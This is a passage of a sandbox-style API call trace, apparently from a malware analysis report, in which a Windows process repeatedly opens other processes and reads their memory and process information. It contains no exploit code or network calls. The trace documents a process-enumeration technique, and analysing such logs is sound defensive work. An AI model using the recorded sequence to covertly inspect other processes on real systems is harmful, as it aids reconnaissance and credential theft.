lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.784] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.784] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.785] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.785] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.785] malloc (_Size=0x60) returned 0xeb6230 [0351.785] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722b0, lpBuffer=0xeb6230, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0351.786] free (_Block=0xeb6230) [0351.849] CloseHandle (hObject=0xa9c) returned 1 [0351.849] _ui64tow_s (in: _Value=0x1668, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5736") returned 0x0 [0351.850] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5736") returned 4 [0351.850] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.850] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.851] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1668) returned 0xa9c [0351.851] GetLastError () returned 0x0 [0351.851] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.851] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.851] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.851] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.852] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.852] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.852] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.852] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.852] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.853] malloc (_Size=0x6c) returned 0xea9720 [0351.853] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22bc, lpBuffer=0xea9720, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9720*, lpNumberOfBytesRead=0x0) returned 1 [0351.853] free (_Block=0xea9720) [0351.853] CloseHandle (hObject=0xa9c) returned 1 [0351.854] _ui64tow_s (in: _Value=0x1670, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5744") returned 0x0 [0351.854] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5744") returned 4 [0351.854] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.854] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.855] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1670) returned 0xa9c [0351.855] GetLastError () returned 0x0 [0351.855] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.855] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.855] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.856] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.856] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.856] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.856] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.856] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.857] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.857] malloc (_Size=0x62) returned 0xeb6310 [0351.857] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22b2, lpBuffer=0xeb6310, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0351.857] free (_Block=0xeb6310) [0351.858] CloseHandle (hObject=0xa9c) returned 1 [0351.858] _ui64tow_s (in: _Value=0x167c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5756") returned 0x0 [0351.858] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5756") returned 4 [0351.858] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.858] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.859] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x167c) returned 0xa9c [0351.859] GetLastError () returned 0x0 [0351.859] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.860] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.860] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.860] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4426d0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.860] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.860] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.861] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.861] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.861] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.861] malloc (_Size=0x96) returned 0xec77a0 [0351.861] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422e6, lpBuffer=0xec77a0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec77a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.862] free (_Block=0xec77a0) [0351.862] CloseHandle (hObject=0xa9c) returned 1 [0351.862] _ui64tow_s (in: _Value=0x1684, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5764") returned 0x0 [0351.862] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5764") returned 4 [0351.862] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.862] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.863] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1684) returned 0xa9c [0351.864] GetLastError () returned 0x0 [0351.864] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.864] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.864] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.864] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.864] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.909] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.909] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.909] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.909] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.909] malloc (_Size=0x62) returned 0xeb6150 [0351.909] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22b2, lpBuffer=0xeb6150, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0351.910] free (_Block=0xeb6150) [0351.910] CloseHandle (hObject=0xa9c) returned 1 [0351.910] _ui64tow_s (in: _Value=0x169c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5788") returned 0x0 [0351.911] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5788") returned 4 [0351.911] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.911] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.912] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x169c) returned 0xa9c [0351.912] GetLastError () returned 0x0 [0351.912] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.912] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.912] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.912] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.912] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.913] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.917] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.917] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.917] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.917] malloc (_Size=0x74) returned 0xea8ba0 [0351.918] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622c4, lpBuffer=0xea8ba0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0351.918] free (_Block=0xea8ba0) [0351.918] CloseHandle (hObject=0xa9c) returned 1 [0351.919] _ui64tow_s (in: _Value=0x16a4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5796") returned 0x0 [0351.919] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5796") returned 4 [0351.919] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.919] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16a4) returned 0xa9c [0351.920] GetLastError () returned 0x0 [0351.920] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.920] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.920] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.921] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c25e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.921] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2258, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.921] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.921] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.921] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.922] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.922] malloc (_Size=0x48) returned 0xea77a0 [0351.922] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2298, lpBuffer=0xea77a0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea77a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.922] free (_Block=0xea77a0) [0351.923] CloseHandle (hObject=0xa9c) returned 1 [0351.923] _ui64tow_s (in: _Value=0x16c0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5824") returned 0x0 [0351.923] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5824") returned 4 [0351.923] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.923] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.924] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16c0) returned 0xa9c [0351.924] GetLastError () returned 0x0 [0351.924] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.924] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.925] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.925] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0351.925] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0351.925] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0351.926] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0351.926] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0351.926] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0351.926] malloc (_Size=0x6a) returned 0xea9520 [0351.926] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22ba, lpBuffer=0xea9520, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9520*, lpNumberOfBytesRead=0x0) returned 1 [0351.927] free (_Block=0xea9520) [0351.927] CloseHandle (hObject=0xa9c) returned 1 [0351.927] _ui64tow_s (in: _Value=0x16e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5856") returned 0x0 [0351.927] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5856") returned 4 [0351.928] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0351.928] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0351.929] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16e0) returned 0xa9c [0351.929] GetLastError () returned 0x0 [0351.929] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0351.929] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0351.929] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0351.929] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: 